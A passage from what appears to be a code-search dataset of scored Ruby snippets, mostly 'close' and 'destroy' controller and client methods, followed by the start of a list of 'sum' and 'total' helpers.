@silent_auction.errors.full_messages\n format.html { redirect_to silent_auction_path, :notice => err_msg }\n format.js { render 'fail_close_auction', :locals => { :errMsg => err_msg } }\n end\n end\n end", "title": "" }, { "docid": "e650505d55fc9e891e465ce4515f82b8", "score": "0.5579373", "text": "def close\n respond_to do |format|\n if @issue.update closer: current_user\n format.html { redirect_to root_path, notice: 'Issue was successfully closed.' }\n format.json { render :index, status: :ok, location: root_path }\n else\n format.html { render :edit }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d33c9a9babc431c3ad71db679dddae3", "score": "0.5575187", "text": "def close\n @status = :closed\n\n self\n end", "title": "" }, { "docid": "609f85ad878c8f631a20c6bd6cf37d37", "score": "0.5570628", "text": "def close!(controller = nil)\n end", "title": "" }, { "docid": "e57bf11cdff54ddac39cb11465d29b2e", "score": "0.55641866", "text": "def close\n @request = AddRequest.find(params[:id])\n @request.status = true\n flash[:success] = 'Request closed!' if @request.save\n\n redirect_to request.referer || root_url\n end", "title": "" }, { "docid": "4d3bf89ff06b48b3a6c37b6fee4bbc95", "score": "0.55526084", "text": "def close\n ap \"CLOSING #{params[:id]}\"\n @event = Event.find(params[:id])\n user_ids = @event.e_state&.split(\";\")\n if user_ids.include? current_user.id.to_s # if the user is included in participants, then remove it from the state\n user_ids.delete(current_user.id.to_s)\n @event.e_state = user_ids.join(\";\")\n @event.save\n end\n\n end", "title": "" }, { "docid": "1b9e3a81c83a16de8f06fad6b6aa0ef5", "score": "0.55523485", "text": "def close_account\n @status = \"closed\"\n end", "title": "" }, { "docid": "1b9e3a81c83a16de8f06fad6b6aa0ef5", "score": "0.55523485", "text": "def close_account\n @status = \"closed\"\n end", "title": "" }, { "docid": "ef2ff3a45d3a97038d068e9c73c894e8", "score": "0.55451626", "text": "def close_issue(owner, repo, issue_num)\n\t\t\tPullRequests.patch(\"/repos/#{owner}/#{repo}/issues/#{issue_num}\", \n\t\t\t\t:headers => @auth, \n\t\t\t\t:body => {\"state\" => \"closed\"}.to_json)\n\t\tend", "title": "" }, { "docid": "e0aff40be34da178c3fbc7b32e2b0478", "score": "0.55368114", "text": "def closeConnection(ticket)\n 'OK'\n end", "title": "" }, { "docid": "480d299d2d33997b29d46a442c70f5af", "score": "0.5529849", "text": "def close_door\n if is_open == false\n raise CLOSE_ERROR\n else\n @is_open = false\n print \"Door closed\\n\"\n end\n end", "title": "" }, { "docid": "a2f3b49fb7f622d2e4342af9c58dab86", "score": "0.5528372", "text": "def close(params = {})\n response = client.post \"/{index}/_close\", update_params(params, action: \"index.close\", rest_api: \"indices.close\")\n response.body\n end", "title": "" }, { "docid": "68d91af0667f72bfd3741e9768bafaae", "score": "0.55158955", "text": "def destroy\n incident = Incident.find_by_id(params[:id])\n if incident != nil\n @incident = incident\n incident.destroy\n end\n respond_to do |format|\n format.html { redirect_to incidents_url, notice: 'Incident was destroyed.' }\n format.json { head :no_content, status: :bad_request }\n end\n end", "title": "" }, { "docid": "ce4730091c4be97e375186cc06f477db", "score": "0.54781765", "text": "def closeOpenBetTo(betID, email)\n @users[email].closeOpenBet(betID)\n end", "title": "" }, { "docid": "ccff1f9fd693999f4e3dd3722ddf58b4", "score": "0.54731005", "text": "def close\n connection.patch(path_prefix,:state => \"closed\").body[\"state\"] == \"closed\"\n end", "title": "" }, { "docid": "ccff1f9fd693999f4e3dd3722ddf58b4", "score": "0.54731005", "text": "def close\n connection.patch(path_prefix,:state => \"closed\").body[\"state\"] == \"closed\"\n end", "title": "" }, { "docid": "87228648cca9d4e4778000402871c4c8", "score": "0.54661", "text": "def closed reason=''\n return if @state == :state_closed\n\n @state = :state_closed\n @service.remove @id\n\n emit :closed, to_frontend_session, reason\n @socket.emit :closing, reason\n\n EM.next_tick { @socket.disconnect }\n end", "title": "" }, { "docid": "31162d042bf23c6a3603d38160b2382e", "score": "0.5456402", "text": "def close\n @resource.request_http(:post, path('session/close'),\n :expected_status_code => 204)\n end", "title": "" }, { "docid": "6f266c9b410c66adf3d7fbd8cac5bc61", "score": "0.5448277", "text": "def closeIssue\n respond_to do |format|\n @issue.update(:status=>'Closed')\n format.html { redirect_to issues_url, notice: 'Issue was successfully closed.' }\n end\n end", "title": "" }, { "docid": "e60b3164688ca713c690fd30327ce32e", "score": "0.54249036", "text": "def close code, message\n encode [code ? code : 1000, message].pack(\"nA*\"), CLOSE\n end", "title": "" }, { "docid": "c724d06b46ac3d94cc1eb38c768015d7", "score": "0.54207873", "text": "def close\n authorize @case, :can_close_case?\n\n if @case.ico?\n @s3_direct_post = S3Uploader.s3_direct_post_for_case(@case, \"responses\")\n end\n\n set_permitted_events\n render \"cases/closable/close\"\n end", "title": "" }, { "docid": "f0519d575b1d4f33bddf3c0281f68962", "score": "0.5414803", "text": "def delete_incident_with_http_info(incident_id, opts = {})\n unstable_enabled = @api_client.config.unstable_operations[\"v2.delete_incident\".to_sym]\n if unstable_enabled\n @api_client.config.logger.warn format(\"Using unstable operation '%s'\", \"v2.delete_incident\")\n else\n raise DatadogAPIClient::APIError.new(message: format(\"Unstable operation '%s' is disabled\", \"v2.delete_incident\"))\n end\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IncidentsAPI.delete_incident ...'\n end\n # verify the required parameter 'incident_id' is set\n if @api_client.config.client_side_validation && incident_id.nil?\n fail ArgumentError, \"Missing the required parameter 'incident_id' when calling IncidentsAPI.delete_incident\"\n end\n # resource path\n local_var_path = '/api/v2/incidents/{incident_id}'.sub('{incident_id}', CGI.escape(incident_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :delete_incident,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Delete, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IncidentsAPI#delete_incident\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "20bba6227a89085ef2bfc9246722eb0c", "score": "0.5410837", "text": "def closed!(code, reason)\n @open = false\n @closed = true\n @closed_code = code\n @closed_reason = reason\n end", "title": "" }, { "docid": "76bc766cbadd662deb5401faa6bd2bf4", "score": "0.5393272", "text": "def closeConnection(ticket)\n logger.info \"im closing the connection\"\n 'OK'\n end", "title": "" }, { "docid": "8b51509443db6345d717de4943fd9673", "score": "0.5384606", "text": "def destroy\n @incident = Incident.find(params[:id])\n\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0535400b3e9f3d0c794c72926d0f1788", "score": "0.5382823", "text": "def close\n if Opening.remove_stale_openings\n redirect_to referrer, notice: 'Operation successful'\n else\n redirect_to referrer, alert: 'Operation unsuccessful'\n end\n end", "title": "" }, { "docid": "f173c2b81fbdb236cfb8110bf5c09daa", "score": "0.53811204", "text": "def fancy_box_close(id)\n\t\tclick_a = ui.a(:id =>id)\n\t\tclick_a.when_present.click\n\tend", "title": "" }, { "docid": "5966fd456c29ca6847b9470fbdf790ab", "score": "0.53766304", "text": "def on_driver_close(event)\n debug \"closed code=#{event.code}: #{event.reason}\"\n\n closed! event.code, event.reason\n end", "title": "" }, { "docid": "f0a2b8bc4c15d42c9f87ab76b87b1a7a", "score": "0.5375385", "text": "def close_account\n self.status = \"closed\"\n end", "title": "" }, { "docid": "f0a2b8bc4c15d42c9f87ab76b87b1a7a", "score": "0.5375385", "text": "def close_account\n self.status = \"closed\"\n end", "title": "" }, { "docid": "a6fc8b7926dfd3d4be2285329c811eeb", "score": "0.53753555", "text": "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f6bed6fb433e3cd4bd4792abffb1752c", "score": "0.5375268", "text": "def im_close(params = {})\n fail ArgumentError, \"Required arguments 'channel' missing\" if params['channel'].nil?\n response = @session.do_post \"#{SCOPE}.close\", params\n Slack.parse_response(response)\n end", "title": "" }, { "docid": "dc2ab0c56182aa4e03d5daf889c4d450", "score": "0.53707874", "text": "def close(name)\n\t\tsend_msg(\"close \" + name) == HLLD_DONE\n\tend", "title": "" }, { "docid": "efd277f1f6339b63b15386398929c1ac", "score": "0.5369397", "text": "def close\n raise ArgumentError if @open == false\n @open = false\n @open == true ? \"The door is open\" : \"The door is closed\"\n end", "title": "" }, { "docid": "7cf7727bc50b7c2055835e0f4fc5d20f", "score": "0.535765", "text": "def close\n add_command(Commands::Close.new)\n end", "title": "" }, { "docid": "2e62c84dc608c2ba55784cddff47ddcf", "score": "0.5356135", "text": "def destroy\n puts(\"destroy incident--------------------------------------------\") \n @incident = Incident.find(params[:id])\n if @incident.destroy\n res = {:success=>true,:content=>\"incident deleted\", :notice => \"ppppppppppppp\"}\n else\n res = {:success=>false,:content=>\"delete operation failed\", :notice => \"prrrrrrrrrr\"}\n end\n render :text=>res.to_json\n end", "title": "" }, { "docid": "5d1893c786a2c3b7b2815243277be2c7", "score": "0.5349733", "text": "def close(*args)\n args << ['1'] unless args.last === Array\n \n fire_event('Close', *args)\n end", "title": "" }, { "docid": "8fda68abcc0b9a70800c7d0d44fc576d", "score": "0.5345064", "text": "def close\n @sms_reply = SmsReply.find_by_id(params[:id])\n \n reject_action and return if @sms_reply.nil?\n \n render_update_with_item :highlight => :white\n end", "title": "" }, { "docid": "87f4c4da65276b563c0dafd2f6b73a61", "score": "0.53441834", "text": "def close\n @state = :closed\n callback(:close)\n end", "title": "" }, { "docid": "8bdb46962497874f77791d5a011bfaa2", "score": "0.53441393", "text": "def close()\n @closed = true\n deactivate()\n end", "title": "" }, { "docid": "0aa5d60a4740d57ea715c58a857ae18e", "score": "0.53313", "text": "def close\n @article = site.articles.find(params[:id])\n @article.update_attribute :comment_age, -1\n render :update do |page|\n page.flash.notice \"Comments have been closed for this article\"\n end\n end", "title": "" }, { "docid": "0aa5d60a4740d57ea715c58a857ae18e", "score": "0.53313", "text": "def close\n @article = site.articles.find(params[:id])\n @article.update_attribute :comment_age, -1\n render :update do |page|\n page.flash.notice \"Comments have been closed for this article\"\n end\n end", "title": "" }, { "docid": "a46bccbcae77fc8ec024c29490461ab0", "score": "0.5331236", "text": "def mark_as_closed(invoice, invoice_message)\n send_status_message(invoice, invoice_message, 'close')\n end", "title": "" }, { "docid": "5bd4d3c532d4304f3abe928560f2acbf", "score": "0.5325233", "text": "def close_code\n @closed_code || @closing_code\n end", "title": "" }, { "docid": "a1b5c6373f267c52bdacd5a2dda28b40", "score": "0.5298904", "text": "def closeEvent (outcome)\n @outcome = outcome\n notifyObservers\n end", "title": "" }, { "docid": "1f7aa0dd3f1b99ebf7b6ce49e983d4e5", "score": "0.5297113", "text": "def destroy\n @open_id = OpenId.find(params[:id])\n @open_id.destroy\n\n respond_to do |format|\n format.html { redirect_to(open_ids_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "737f9ef70870d509adec2e8fd762d8d9", "score": "0.5291548", "text": "def close(*args)\n end", "title": "" }, { "docid": "d355ec113693623169359c3608721da7", "score": "0.5291239", "text": "def close_modal(id)\n\t\tmodal = @driver.find_element(:id, id)\n\t\tdismiss = modal.find_element(:class, 'close')\n\t\tdismiss.click\n\t\t@wait.until {@driver.find_element(:tag_name, 'body')[:class].include?('modal-open') == false}\n\tend", "title": "" }, { "docid": "70d427e787a99213cf796c74f9f3c1c1", "score": "0.5288546", "text": "def cancel(id)\n raise NotImplemented.new()\n end", "title": "" }, { "docid": "7eff9733806fda967b3f8e263a91a302", "score": "0.52881473", "text": "def close\n @iteration = Iteration.find(params[:iteration_id])\n @topic_group = TopicGroup.find(params[:topic_group_id])\n \n gflash :success => 'Iteration closed.' if @iteration.close\n respond_with(@iteration) do |format|\n format.html { redirect_to topic_group_iteration_url(@topic_group, @iteration) }\n end\n end", "title": "" }, { "docid": "649cc85cfde20a509ae41bd8f5537b1f", "score": "0.52850354", "text": "def close(reply_code = 200, reply_text = \"Goodbye\", class_id = 0, method_id = 0)\n @client.send Protocol::Connection::Close.encode(reply_code, reply_text, class_id, method_id)\n closing!\n end", "title": "" }, { "docid": "4c61c5323620e002ccdeed084ddb0518", "score": "0.5284434", "text": "def close\n @active = false\n\n logger.debug \"close@#{@index}\"\n\n @condition.broadcast\n end", "title": "" }, { "docid": "fc13b9c25073a38895ec098ba55354e7", "score": "0.52830726", "text": "def close_funding(funding)\n if funding.is_a?(Numeric)\n id = funding\n elsif funding.is_a?(Array)\n id = funding[0]\n elsif funding.instance_of?(Models::FundingOffer)\n id = funding.id\n elsif funding.instance_of?(Models::FundingLoan)\n id = funding.id\n elsif funding.instance_of?(Models::FundingCredit)\n id = funding.id\n elsif funding.kind_of?(Hash)\n id = funding[:id] || order['id']\n else\n raise Exception, 'tried to close funding with invalid ID'\n end\n authenticated_post(\"auth/w/funding/close\", params: { :id => id }).body\n end", "title": "" }, { "docid": "1029e632d7054c3d952d57ff16ad6afe", "score": "0.52826613", "text": "def close\n \n # nothing required\n\n end", "title": "" }, { "docid": "226faf349ee1e06a893fdad1f553c029", "score": "0.5277836", "text": "def close\n\t\t\t\tbegin\n\t\t\t\t\t# ticket can only be closed once\n\t\t\t\t\traise 'Ticket has been closed already!' if @ticket.status == 'Closed'\n\t\t\t\t\t# update ticket status\n\t\t\t\t\t@ticket.update_attributes({\n\t\t\t\t\t\tstatus: 'Closed',\n\t\t\t\t\t\tclosed_by: current_user.id,\n\t\t\t\t\t\tclosed_on: DateTime.now\n\t\t\t\t\t})\n\n\t\t\t\t\t# return with owner and closer\n\t\t\t\t\tresponse = @ticket.as_json.merge!(owner: @ticket.owner, closer: @ticket.closer)\n\n\t\t\t\t\t# return ticket with owner and closer\n\t\t\t\t\trender json: response\n\t\t\t\trescue => e\n\t\t\t\t\t# return error message\n\t\t\t\t\trender json: { errors: e.message }, status: :unprocessable_entity\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "6d094fbf0b91b43ceefe9095401ad00e", "score": "0.5277598", "text": "def close_email_modal()\n driver.find_element(:css, '.ui-dialog .ui-dialog-titlebar .ui-icon-closethick').click\n end", "title": "" }, { "docid": "de595e67b7b5ad133f93a39ef06700c4", "score": "0.52766174", "text": "def close_email_modal()\n @driver.find_element(:css, '.ui-dialog .ui-dialog-titlebar .ui-icon-closethick').click\n end", "title": "" }, { "docid": "5f73258f55b68c300bb2c9d0ec4cbd13", "score": "0.52763075", "text": "def request_issue_closed_event\n new_event(record[\"closed_at\"], \"closed\",\n comment: \"#{record['type']} #{record['closed_status']}\")\n end", "title": "" }, { "docid": "f340bca21c66d39c34e0c92ce74e75aa", "score": "0.5273166", "text": "def close()\n\t\tself[:status] = 'closed'\n\t\tself.save\n\tend", "title": "" }, { "docid": "d4449f1866972e7cdb9db45ca2e230fd", "score": "0.5271029", "text": "def close_issue_or_comment(issue, errata)\n begin\n close_issue(issue, errata)\n rescue Jira::IllegalTransitionError => error\n JIRALOG.warn \"Can't close #{issue.display_id} - #{error.inspect}\\nPosting a comment instead.\"\n add_issue_addressed_comment(issue, errata, :visibility => Settings.jira_close_comment_visibility)\n end\n end", "title": "" }, { "docid": "6653a61659427e96350d3a116c937e28", "score": "0.52562344", "text": "def close\n @task = Task.find(params[:id])\n \n end", "title": "" } ]
af0f749e169c0844d77e7a36babedd10
Method definitions Method to find sum
[ { "docid": "4d33436e9bbf43ce9ad6952f0d857c52", "score": "0.6797285", "text": "def getSum ( x , y )\n\tsum = x + y\n\treturn sum\nend", "title": "" } ]
[ { "docid": "410444f0c4963588f832ead99f8a48db", "score": "0.83689773", "text": "def sum; end", "title": "" }, { "docid": "fb38ff9e78b9a76bce3d9962d51df19c", "score": "0.7448097", "text": "def amount_sum_for(meth)\n entries.select(&meth).map{ |entry| entry.amount.to_i }.compact.inject(&:+) || 0\n end", "title": "" }, { "docid": "d4a17243d98fd23eac30af1fd945a977", "score": "0.73617786", "text": "def sum_finder(num_1, num_2)\n p num_1 + num_2\nend", "title": "" }, { "docid": "027c6d1e7339f533dddc342141b35013", "score": "0.7360029", "text": "def find_sum\n self.inject(0) { |sum, x| sum + x.to_f }\n end", "title": "" }, { "docid": "241220782911087d5e8dd788761b863b", "score": "0.7263076", "text": "def sum\n\t\treturn self.reduce(:+)\n\tend", "title": "" }, { "docid": "8ce792980867d8c38ea2712d1c582013", "score": "0.72612756", "text": "def sum_expense(expenses)\n sum = expenses.sum\n return sum\nend", "title": "" }, { "docid": "9f9b3f15992334684f0b01cad43743b5", "score": "0.72163427", "text": "def sum(x, y)\n\nend", "title": "" }, { "docid": "df854a7fad0c497aeb137c600687edfc", "score": "0.72091484", "text": "def find_sum(num1, num2)\n puts num1 + num2\nend", "title": "" }, { "docid": "9434efc3cbbbb4e22656c1069c458011", "score": "0.7188604", "text": "def sum_numbers (numbers)\n\n numbers.sum\n \nend", "title": "" }, { "docid": "9918eff19bb5adde7543dab819bc7ac3", "score": "0.71615386", "text": "def sum\n self.inject(:+)\n end", "title": "" }, { "docid": "a34797cba29a8d9eadecd62003010e9e", "score": "0.7114017", "text": "def sum #using a method name that already exists in that class, will overwrite that method\n total = 1\n self.each { |element| total += element if element.is_a?(Numeric) }\n total\n end", "title": "" }, { "docid": "30cba691e76a94210eb4f4133f4a60ad", "score": "0.710304", "text": "def total; end", "title": "" }, { "docid": "f6aaae5bed351cb27f087af1da0b4a4d", "score": "0.7084746", "text": "def sum arr\n # YOUR CODE HERE\n total = arr.sum\n \n return total\nend", "title": "" }, { "docid": "c578e96af6eb0af39b8d03ed74e450e1", "score": "0.70809174", "text": "def calorie_sum_by_day\n\n end", "title": "" }, { "docid": "dbbb622525063854badc8596054dbdd7", "score": "0.70687944", "text": "def sum_of_sums(array)\r\nend", "title": "" }, { "docid": "8f01e78e466a25c7e699b0b558b3fc89", "score": "0.7009362", "text": "def sum arr\n sum = arr.sum\n return sum\nend", "title": "" }, { "docid": "9cd8d43bf4870031ffd0826210828fc7", "score": "0.6978761", "text": "def rec_sum(nums)\n\nend", "title": "" }, { "docid": "9cd8d43bf4870031ffd0826210828fc7", "score": "0.6978761", "text": "def rec_sum(nums)\n\nend", "title": "" }, { "docid": "1606f9e4d4d6928d899e6900b8af1619", "score": "0.69317377", "text": "def findSum()\n\tnumbers.inject(0) { |sum, number| sum + number }\nend", "title": "" }, { "docid": "f61567fd159aa94a9ecb52cae9434146", "score": "0.69183683", "text": "def sum(numbers)\n # write your code here\nend", "title": "" }, { "docid": "02055d205fd5afe7ead94951bc31af0f", "score": "0.6888603", "text": "def sum\n @num1 = params[:bike.days]\n @num2 = params[:bike.price]\n @result = Calculator.total(@num1.to_i, @num2.to_i)\n end", "title": "" }, { "docid": "ae2a1c654ca4f81e37df8500004cd1f6", "score": "0.68847424", "text": "def calculate_sum\n 1000000000000\n end", "title": "" }, { "docid": "675aa84641b449c2adf9082054204278", "score": "0.6883791", "text": "def total ( numbers )\r\n\r\n\treturn numbers.reduce(:+);\r\n\r\nend", "title": "" }, { "docid": "021bf60e9e6623554303aaa7fba1cd51", "score": "0.6857095", "text": "def square_of_sum\n end", "title": "" }, { "docid": "888bc9330c49783ac431e93df3683ab1", "score": "0.6840026", "text": "def sum(n)\n end", "title": "" }, { "docid": "3489d44385dc29ad75c22d88dfb58c22", "score": "0.6804019", "text": "def total(array)\n array.sum\nend", "title": "" }, { "docid": "5b3e75aa1effd74ca82312a6bba561f0", "score": "0.6800551", "text": "def total(numbers)\n numbers.reduce(:+)\nend", "title": "" }, { "docid": "7ca4e133b3f232c06aee13622ca31d9a", "score": "0.67993045", "text": "def sum(num, total) => total += num", "title": "" }, { "docid": "bf3f055d397f6b6f862569b7ce1e3373", "score": "0.6794029", "text": "def sum_upon_sums(array)\n\nend", "title": "" }, { "docid": "f915595bcb734b48d973e6861dc3c262", "score": "0.6790959", "text": "def sum arr\n #this is slightly too easy...\n arr.sum\nend", "title": "" }, { "docid": "014663aa06837c111ead9ed1a7bf8550", "score": "0.6758786", "text": "def sum\n transactions.sum(:amount)\n end", "title": "" }, { "docid": "014663aa06837c111ead9ed1a7bf8550", "score": "0.6758786", "text": "def sum\n transactions.sum(:amount)\n end", "title": "" }, { "docid": "6e2220e5201927a22390a7b970e87430", "score": "0.6754255", "text": "def total_price\n sum = 0\n line_items.to_a.sum do |check|\n check.total_price.to_i\n end\n\t\nend", "title": "" }, { "docid": "9674a61f4679e545f596d0a18d0ca260", "score": "0.67490864", "text": "def sum(number1, number2)\ntotal = number1 + number2 \nend", "title": "" }, { "docid": "eaeac516719c1feb99fc6755bd410aba", "score": "0.67430073", "text": "def sum_lists()\nend", "title": "" }, { "docid": "d4d8a880f1a1206b5223859c029e7b83", "score": "0.674026", "text": "def sum\n reduce(0, &:+)\n end", "title": "" }, { "docid": "d481e8e5e3b32fae7e5c17b16002ad45", "score": "0.67392796", "text": "def total(numbers)\n return numbers.reduce(:+)\nend", "title": "" }, { "docid": "4eaf95cb59822fa2af6936feb4ea615f", "score": "0.6728413", "text": "def sum(array)\n array.sum\nend", "title": "" }, { "docid": "95a6300afa0114cbd664f5181404026e", "score": "0.67240024", "text": "def sum_of_point\n # Calculating point of each block\n calculate_points\n # Sum\n rubbish_count + not_clear_count + somewhat_count + understand_count\n end", "title": "" }, { "docid": "1285663926416518994b4da0e74c70be", "score": "0.6702028", "text": "def sum(numbers)\r\n numbers.reduce(0, :+)\r\nend", "title": "" }, { "docid": "18f548db8ac5baa79344542b9f879b86", "score": "0.66972417", "text": "def total\n sum = 0\n\n @four_result.each do |result|\n sum += result\n end\n @six_result.each do |result|\n sum += result\n end\n @eight_result.each do |result|\n sum += result\n end\n @ten_result.each do |result|\n sum += result\n end\n @twelve_result.each do |result|\n sum += result\n end\n @twenty_result.each do |result|\n sum += result\n end\n @percentile_result.each do |result|\n sum += result\n end\n\n sum\n end", "title": "" }, { "docid": "124bf0a6c54a4db22cf392dcf1df17e9", "score": "0.66950613", "text": "def sum arr\n result = 0\n #Iterate through the length of the array to find the sum of the array elements\n if arr.length > 0 then\n arr.each do |index|\n\tresult += index\n end\n end\n return result\nend", "title": "" }, { "docid": "a4e0a53b6bbd82845969b3834b557fec", "score": "0.6690705", "text": "def element_sum\n\t\tif !self.numeric?\n\t\t\treturn false\n\t\tend\n\t\treturn self.inject(0) {|memo,n| memo + n}\t\n\tend", "title": "" }, { "docid": "138fd04267374cc81d7ccd1b7fb32e56", "score": "0.66806084", "text": "def sum(sums)\r\n if sums.empty?\r\n 0\r\n else\r\n sums.reduce(:+)\r\n end\r\nend", "title": "" }, { "docid": "ef943bf2d02c62b77892c0d7c031c3b1", "score": "0.66613364", "text": "def sum\n [@r,@g,@b].inject(:+)\n end", "title": "" }, { "docid": "9ff3f5306c8c4d51e96b896749ba7a9b", "score": "0.66514206", "text": "def sum_create\n total = add_create.reduce(:+)\nend", "title": "" }, { "docid": "dd4e280be471f53b110d334c1712c20d", "score": "0.6647224", "text": "def ratings_sum\nend", "title": "" }, { "docid": "6c39b1e699725532d288dcc94de5e461", "score": "0.66407293", "text": "def total(numbers)\n\tnumbers.inject(:+)\nend", "title": "" }, { "docid": "1fd7e78074a1c6b038a4b89451e074e0", "score": "0.6636863", "text": "def get_sum(a, b)\n [a,b].reduce(&:+)\nend", "title": "" }, { "docid": "75fb14776b2b00fd6c4fc68f451a69f3", "score": "0.66363776", "text": "def summing_method\n @summed_array = @single_digit_array.sum\n end", "title": "" }, { "docid": "5b1634a6a95ced5919ff4eae4ed7d8a4", "score": "0.66360265", "text": "def get_sum(num1, num2)\n puts num1 + num2\nend", "title": "" }, { "docid": "7289a22444e169dc0bbb45f4503270ef", "score": "0.663232", "text": "def sum arr\n # YOUR CODE HERE\n lSum = 0\n arr.each {|x| lSum += x}\n return lSum\nend", "title": "" }, { "docid": "795bcdd789dd3f48d69ceb6d7da7b640", "score": "0.6618886", "text": "def sum arr\n if !arr.empty?\n soma = 0\n arr.each do |elt| ; soma += elt ; end\n return soma\n end\n return 0 \nend", "title": "" }, { "docid": "910fddb73a679e5791270babe228d8bc", "score": "0.6610065", "text": "def total\n sum(:total)\n end", "title": "" }, { "docid": "0be4417d859f0c6f4bc9a6049f0f4c1d", "score": "0.6594204", "text": "def total_funds\n #binding.pry\n funding_rounds.map{|fr| fr.investment}.sum\n end", "title": "" }, { "docid": "cd7b1ff28d046ad5be222b9e01c267a1", "score": "0.65841335", "text": "def oddball_sum(numbers)\n\nend", "title": "" }, { "docid": "17c14a22c356dc1495870807ee4b3a4c", "score": "0.65773594", "text": "def add_numbers(number1, number2)\n return sum\nend", "title": "" }, { "docid": "30ef666147b0039135e4464921ef7fd2", "score": "0.6572765", "text": "def sum(i)\n sum = i.digits.reduce(:+)\n sum\nend", "title": "" }, { "docid": "a912723311bd6ba0cb5445a329b33a02", "score": "0.6568726", "text": "def total_funds\n sum_funds = 0\n self.funding_rounds.each do |funding_round|\n sum_funds += funding_round.investment\n end \n sum_funds\nend", "title": "" }, { "docid": "8c5bdcd0d945b0e9c1d488f8eb8f8cd7", "score": "0.6564098", "text": "def sum_of(a,b)\n\treturn a + b\nend", "title": "" }, { "docid": "ea0c6eb315079636f5d58cdab85b0556", "score": "0.65635824", "text": "def sum\n only_with('sum', 'Numeric', 'String')\n items.compact.sum\n end", "title": "" }, { "docid": "6c200f14c2d2eccf18206e7d36a51e8e", "score": "0.6561717", "text": "def calculate\n self.total\n end", "title": "" }, { "docid": "a766c80f7e5ff300ac37fb1a906d93c7", "score": "0.6557243", "text": "def sum(x)\n solution = 0\n x.each do |num|\n solution += num\n end\n solution\nend", "title": "" }, { "docid": "d0e4d86369a89258fe064f3d8399b53e", "score": "0.6556822", "text": "def total(a)\n\ta.reduce(:+)\nend", "title": "" }, { "docid": "dc8e4ba8e7cb30aeb8858d5dbc575f98", "score": "0.6554411", "text": "def total(num)\n sum = 0\n num.each do |int|\n sum = sum + int\n end\n return sum\nend", "title": "" }, { "docid": "70a51e96387fcd980656f8e5d1c3f6de", "score": "0.65504247", "text": "def sum(element)\n element.reduce(:+)\nend", "title": "" }, { "docid": "7282e80755f0bdd8a3e223ea5e1b3aa7", "score": "0.654957", "text": "def total(list)\n\n p list.reduce(:+)\n \nend", "title": "" }, { "docid": "b85ab7b10c0a555a5b03d61b7a96e456", "score": "0.6549568", "text": "def sum\n self.reduce('lambda{|sum, item| sum + item}')\n end", "title": "" }, { "docid": "56cced4f0afcf6c8deec41fb7290ae3b", "score": "0.6545828", "text": "def total_sum\n rows.collect(&:sum_with_vat).sum\n end", "title": "" }, { "docid": "e1028e90915056ef2dd4c8072c4bb433", "score": "0.65385544", "text": "def sum(i) \n i.inject(:+)\nend", "title": "" }, { "docid": "02123a0afc3cea75c532f2ea6ebdb31d", "score": "0.65381676", "text": "def sum n\n\tbegin\n\tn.reduce(:+)\n\trescue \n\t\tn.map!{|x| x.is_a?(Array) ? x.reduce(:+) : x }\n\t\tsum n\n\tend\n\tp n.reduce(:+)\nend", "title": "" }, { "docid": "dec1129e8ccd56aaebbff42499c44249", "score": "0.6535149", "text": "def summ\n result = 0.0\n self.propose_items.each do |item|\n result += item.price\n end\n return result\n end", "title": "" }, { "docid": "8db55480be7e24073c005444bf17384e", "score": "0.6534559", "text": "def total arr\nsum_total = 0\narr.each do |el|\nsum_total += el\nend\nsum_total\nend", "title": "" }, { "docid": "024c2d5f1f10a58dac5869241e713704", "score": "0.6532892", "text": "def check_sum(array, target)\n\nend", "title": "" }, { "docid": "259f52c7cd0f63c3c476a80d43465c26", "score": "0.6525522", "text": "def total(numbers)\n sum = 0\n numbers.each { |num| sum += num }\n sum\nend", "title": "" }, { "docid": "e897ce13794aefd6b1f1fff008eaed67", "score": "0.6521478", "text": "def sum arr\n # YOUR CODE HERE\n sumTotal=0\n\nfor i in arr do\n\n sumTotal=sumTotal+i\n\nend\n\n return sumTotal\nend", "title": "" }, { "docid": "000df3ae80e7ac4158bbe580bfc3fe23", "score": "0.6520866", "text": "def total(array)\n sum = 0\n array.each do |x|\n sum += x\nend\nsum\nend", "title": "" }, { "docid": "502273b1349eb0d45a81b3569bf2af7b", "score": "0.65204114", "text": "def compute_sum(numbers)\n sum = 0\n numbers.each do |number|\n sum += number\n end\n return sum\nend", "title": "" }, { "docid": "502273b1349eb0d45a81b3569bf2af7b", "score": "0.65204114", "text": "def compute_sum(numbers)\n sum = 0\n numbers.each do |number|\n sum += number\n end\n return sum\nend", "title": "" }, { "docid": "dca6c60a14a9b03b99b4ef59350583bf", "score": "0.65192664", "text": "def total_amount\n \t amount = 0\n \t operation_items.each do | oi |\n \t\tamount = amount + oi.amount\n end\n amount\n end", "title": "" }, { "docid": "39202c60290db1d46062dff046d13079", "score": "0.6510913", "text": "def private_method()\n # doSum\n end\n\n # a public method (Methods are public by default in Ruby)\n public\n def public_method()\n # doSum\n end\n\n end", "title": "" }, { "docid": "95d5e2c8822ccdac103da9b7ed2b622e", "score": "0.650739", "text": "def total(nums)\n nums.inject(:+)\nend", "title": "" }, { "docid": "e6d12cf79a3189b15a9063fc439790a4", "score": "0.6497449", "text": 